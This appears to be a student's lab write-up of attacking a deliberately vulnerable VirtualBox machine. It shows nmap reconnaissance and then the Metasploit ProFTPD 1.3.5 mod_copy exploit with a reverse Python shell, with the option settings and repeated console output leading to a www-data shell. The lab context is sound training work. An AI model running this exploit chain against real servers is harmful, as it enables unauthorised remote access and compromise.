

Vulnerability Assessment Report

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Step 1: Reconnaissance

I was absolutely unsure to what to do. I only had an ERULNX16.ova machine.

So then i configured it to run via VirtualBox.

After which, I adjusted the network adapter to Host-adapter because I was not able to find any password or credentials to log into the system.

Then I tried using Kali Linux to find the ip of the machine, which i found out to be

Target IP: 192.168.56.103

My IP: 192.168.56.104

Using this, I enumerated with the help of nmap

Nmap -sP 192.168.56.103/24 to find the target IP

Then using **Nmap -sV -O 192.168.56.104**

I found out the open ports

```
(kali@kali)~$ nmap -sV -O 192.168.56.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 14:55 EDT
Nmap scan report for 192.168.56.104
Host is up (0.016s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp    open  ipp          CUPS 1.7
3000/tcp   closed ppp
3306/tcp   open  mysql        MySQL (unauthorized)
8080/tcp   open  http         Jetty 8.1.7.v20120910
8181/tcp   closed intermapper
MAC Address: 08:00:27:26:59:33 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 4.14 (98%), Linux 3.8 - 3.16 (98%), Linux 3.10 - 4.11 (94%), Linux 3.13 - 4.4 (94%), Linux 3.13
nux 4.10 (94%), Android 5.0 - 6.0.1 (Linux 3.4) (94%), Android 8 - 9 (Linux 3.18 - 4.4) (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Hosts: 127.0.0.1, UBUNTU; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds

(kali@kali)~$ metasploit framework
metasploit: command not found

(kali@kali)~$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>
```

Step 2: Analysis

With the help of open ports, I studied them and found ProfFTPD, which was vulnerable. And could be used to inject code to gain access to the system.

Step 3: Gaining Access

Using msfconsole, I found out the available codes that can establish connection.

```
[kali@kali]~$ msfconsole
```

```
Metasploit tip: You can upgrade a shell to a Meterpreter session on many platforms using sessions -u <session_id>
```

```
[*****  
[*****  
[*****  
[%-----%  
[%-----%  
[%-----%  
[*****  
[*****  
[*****  
[*****  
[*****  
[*****]
```

```
= [ metasploit v6.4.90-dev ]  
--=[ 2,561 exploits - 1,310 auxiliary - 1,680 payloads  
--=[ 431 post - 49 encoders - 13 nops - 9 evasion ]
```

```
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project
```

```
msf > search proftpd
```

```
Matching Modules
```

```
# Name Disclosure Date Rank Check Description
```

```
0 exploit/linux/misc/netSupport_manager_agent 2011-01-08 average No NetSupport Manager Agent Remote Buffer Overflow
```

```
1 exploit/linux/ftp/proftpd_sreplce 2006-11-26 great Yes ProFTPD 1.2 ~ 1.3.0 sreplce Buffer Overflow (Linux)
```

```
\ target: Automatic Targeting . . .
```

```
3 \ target: Debug . . .
```

```
4 \ target: ProFTPD 1.3.0 (source install) / Debian 3.1 . . .
```

```
5 exploit/freebsd/ftp/proftpd_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 ~ 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
```

```
6 \ target: Automatic Targeting . . .
```

```
7 \ target: Debug . . .
```

```
8 \ target: ProFTPD 1.3.2a Server (FreeBSD 8.0) . . .
```

```
9 exploit/linux/ftp/proftpd_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2rc3 ~ 1.3.3b Telnet IAC Buffer Overflow (Linux)
```

```
10 \ target: Automatic Targeting . . .
```

```
11 \ target: Debug . . .
```

```
12 \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 . . .
```

```
13 \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug) . . .
```

```
14 \ target: ProFTPD 1.3.2c Server (Ubuntu 10.04) . . .
```

```
15 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5 Mod_Copy Command Execution
```

```
16 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command Execution
```

```
Interact with a module by name or index. For example info 16, use 16 or use exploit/unix/ftp/proftpd_133c_backdoor
```

```
msf > exploit(unix/ftp/proftpd_modcopy_exec) > show options
```

```
* Unknown command: exploit(unix/ftp/proftpd_modcopy_exec). Run the help command for more details.
```

```
msf > exploit(unix/ftp/proftpd_modcopy_exec)
```

```
* Unknown command: exploit/unix/ftp/proftpd_modcopy_exec. Run the help command for more details.  
This is a module we can load. Do you want to use exploit/unix/ftp/proftpd_modcopy_exec? [y/N] y
```

```
* No payload configured, defaulting to cmd/unix/reverse_netcat
```

```

      =[ metasploit v6.4.90-dev ]
+ -- --=[ 2,561 exploits - 1,310 auxiliary - 1,680 payloads ]
+ -- --=[ 431 post - 49 encoders - 13 nops - 9 evasion ]

```

Metasploit Documentation: <https://docs.metasploit.com/>
The Metasploit Framework is a Rapid7 Open Source Project

```
msf > search proftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/misc/netsupport_manager_agent	2011-01-08	average	No	NetSupport Manager Agent Remote Buffer Overflow
1	exploit/linux/ftp/proftpd_sreplace	2006-11-26	great	Yes	ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2	target: Automatic Targeting	.	.	.	.
3	target: Debug	.	.	.	.
4	target: ProFTPD 1.3.0 (source install) / Debian 3.1	.	.	.	.
5	exploit/freebsd/ftp/proftpd_telnet_iac	2010-11-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
6	target: Automatic Targeting	.	.	.	.
7	target: Debug	.	.	.	.
8	target: ProFTPD 1.3.2a Server (FreeBSD 8.0)	.	.	.	.
9	exploit/linux/ftp/proftpd_telnet_iac	2010-11-01	great	Yes	ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
10	target: Automatic Targeting	.	.	.	.
11	target: Debug	.	.	.	.
12	target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1	.	.	.	.
13	target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug)	.	.	.	.
14	target: ProFTPD 1.3.2c Server (Ubuntu 10.04)	.	.	.	.
15	exploit/unix/ftp/proftpd_modcopy_exec	2015-04-22	excellent	Yes	ProFTPD 1.3.5 Mod_Copy Command Execution
16	exploit/unix/ftp/proftpd_133c_backdoor	2010-12-02	excellent	No	ProFTPD-1.3.3c Backdoor Command Execution

Interact with a module by name or index. For example `info 16`, `use 16` or `use exploit/unix/ftp/proftpd_133c_backdoor`

```
msf > exploit(unix/ftp/proftpd_modcopy_exec) > show options
```

```
msf > exploit(unix/ftp/proftpd_modcopy_exec) > show options
[-] Unknown command: exploit(unix/ftp/proftpd_modcopy_exec). Run the help command for more details.
```

```
msf > exploit/unix/ftp/proftpd_modcopy_exec
```

```
[*] Unknown command: exploit/unix/ftp/proftpd_modcopy_exec. Run the help command for more details.
```

```
This is a module we can load. Do you want to use exploit/unix/ft
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```

Then I set up the details for gaining access as shown in the figure.

Search proftpd

```
exploit(unix/ftp/proftpd_modcopy_exec)
```

Show options

```
Set RHOSTS 192.168.56.104
```

```
Set LHOST 192.168.56.103
```

```
Set SITEPATH /var/www/html
```

```
Set payload payload/cmd/unix/reverse python
```

Run

After typing this commands I successfully gained connection access.

```

msf exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS ProFTPD 192.168.56.104
RHOSTS => ProFTPD 192.168.56.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > set LHOSTS 192.168.56.103
[!] Unknown datastore option: LHOSTS. Did you mean RHOSTS?
LHOSTS => 192.168.56.103
msf exploit(unix/ftp/proftpd_modcopy_exec) > show payloads

Compatible Payloads
=====

#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   payload/cmd/unix/adduser                 .               normal No      Add user with useradd
1   payload/cmd/unix/bind_awk                .               normal No      Unix Command Shell, Bind TCP (via AWK)
2   payload/cmd/unix/bind_netcat             .               normal No      Unix Command Shell, Bind TCP (via netcat)
3   payload/cmd/unix/bind_perl               .               normal No      Unix Command Shell, Bind TCP (via Perl)
4   payload/cmd/unix/bind_perl_ipv6          .               normal No      Unix Command Shell, Bind TCP (via perl) IPv6
5   payload/cmd/unix/generic                 .               normal No      Unix Command, Generic Command Execution
6   payload/cmd/unix/pingback_bind           .               normal No      Unix Command Shell, Pingback Bind TCP (via netcat)
7   payload/cmd/unix/pingback_reverse        .               normal No      Unix Command Shell, Pingback Reverse TCP (via netcat)
8   payload/cmd/unix/reverse_awk             .               normal No      Unix Command Shell, Reverse TCP (via AWK)
9   payload/cmd/unix/reverse_netcat          .               normal No      Unix Command Shell, Reverse TCP (via netcat)
10  payload/cmd/unix/reverse_perl             .               normal No      Unix Command Shell, Reverse TCP (via Perl)
11  payload/cmd/unix/reverse_perl_ssl        .               normal No      Unix Command Shell, Reverse TCP SSL (via perl)
12  payload/cmd/unix/reverse_python          .               normal No      Unix Command Shell, Reverse TCP (via Python)
13  payload/cmd/unix/reverse_python_ssl      .               normal No      Unix Command Shell, Reverse TCP SSL (via python)

msf exploit(unix/ftp/proftpd_modcopy_exec) > set payload payload/cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 192.168.56.104:80 - 192.168.56.104:21 - Connected to FTP server
[*] 192.168.56.104:80 - 192.168.56.104:21 - Sending copy commands to FTP server
[*] 192.168.56.104:80 - Executing PHP payload /v1FVj28.php
[*] 192.168.56.104:80 - This exploit may require manual cleanup of '/var/www/html/v1FVj28.php' on the target
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS ProFTPD 192.168.56.104
RHOSTS => ProFTPD 192.168.56.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > set payload payload/cmd/unix/reverse_python
payload => cmd/unix/reverse_python
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.15:4444

```

Step 4: Maintaining Access

After gaining access, I started to maintain it, and since output was available like in a terminal, I was able to get details.

```

msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 192.168.56.104:80 - 192.168.56.104:21 - Connected to FTP server
[*] 192.168.56.104:80 - 192.168.56.104:21 - Sending copy commands to FTP server
[*] 192.168.56.104:80 - Executing PHP payload /0DJcZ.php
[*] 192.168.56.104:80 - This exploit may require manual cleanup of '/var/www/html/0DJcZ.php' on the target
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 192.168.56.104:80 - 192.168.56.104:21 - Connected to FTP server
[*] 192.168.56.104:80 - 192.168.56.104:21 - Sending copy commands to FTP server
[*] 192.168.56.104:80 - Executing PHP payload /g5kkKw.php
[*] 192.168.56.104:80 - This exploit may require manual cleanup of '/var/www/html/g5kkKw.php' on the target
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] 192.168.56.104:80 - 192.168.56.104:21 - Connected to FTP server
[*] 192.168.56.104:80 - 192.168.56.104:21 - Sending copy commands to FTP server
[*] 192.168.56.104:80 - Executing PHP payload /Q0XYj.php
[*] 192.168.56.104:80 - Deleted /var/www/html/Q0XYj.php
[*] Command shell session 1 opened (192.168.56.103:4444 -> 192.168.56.104:43064) at 2025-10-18 15:16:47 -0400

help

Meta shell commands

```

Command	Description
help	Help menu
background	Backgrounds the current shell session
sessions	Quickly switch to another session
resource	Run a meta commands script stored in a local file
shell	Spawn an interactive shell (*NIX Only)
download	Download files
upload	Upload files
source	Run a shell script on remote machine (*NIX Only)
irb	Open an interactive Ruby shell on the current session
pry	Open the Pry debugger on the current session
.<command>	Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)

```

For more info on a specific command, use <command> -h or help <command>.

whoami
www-data
ls
0DJcZ.php
E4v00Ft.php
M6nZEVh.php
Nr5cQ.php
OneSE0.php
T9l6He.php
chat
drupal
g5kkKw.php
h2R90F.php
payload_app.php
phpmyadmin
v1FVj28.php

```

Step 5: Conclusion

I was able to successfully get into the virtual machine using known vulnerability and exploit it successfully.